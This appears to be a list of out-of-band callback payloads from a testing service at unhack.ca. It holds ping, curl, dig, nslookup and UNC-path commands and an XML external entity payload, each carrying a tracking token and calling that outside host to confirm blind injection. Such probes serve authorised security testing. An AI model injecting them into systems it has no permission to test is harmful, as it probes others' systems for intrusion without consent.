$ ping -c1 -p 0079f7b82ff770ad21d8215146dca600 unhack.ca
 

$ curl http://unhack.ca/p/79f7b82ff770ad21d8215146dca6
 

$ dig 79f7b82ff770ad21d8215146dca6 @unhack.ca
 

$ dig 79f7b82ff770ad21d8215146dca6.ns.unhack.ca
 

C:\> nslookup 79f7b82ff770ad21d8215146dca6 unhack.ca
 

C:\> type \\unhack.ca\79f7b82ff770ad21d8215146dca6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/79f7b82ff770ad21d8215146dca6">]>
    <foo>&xxe;</foo>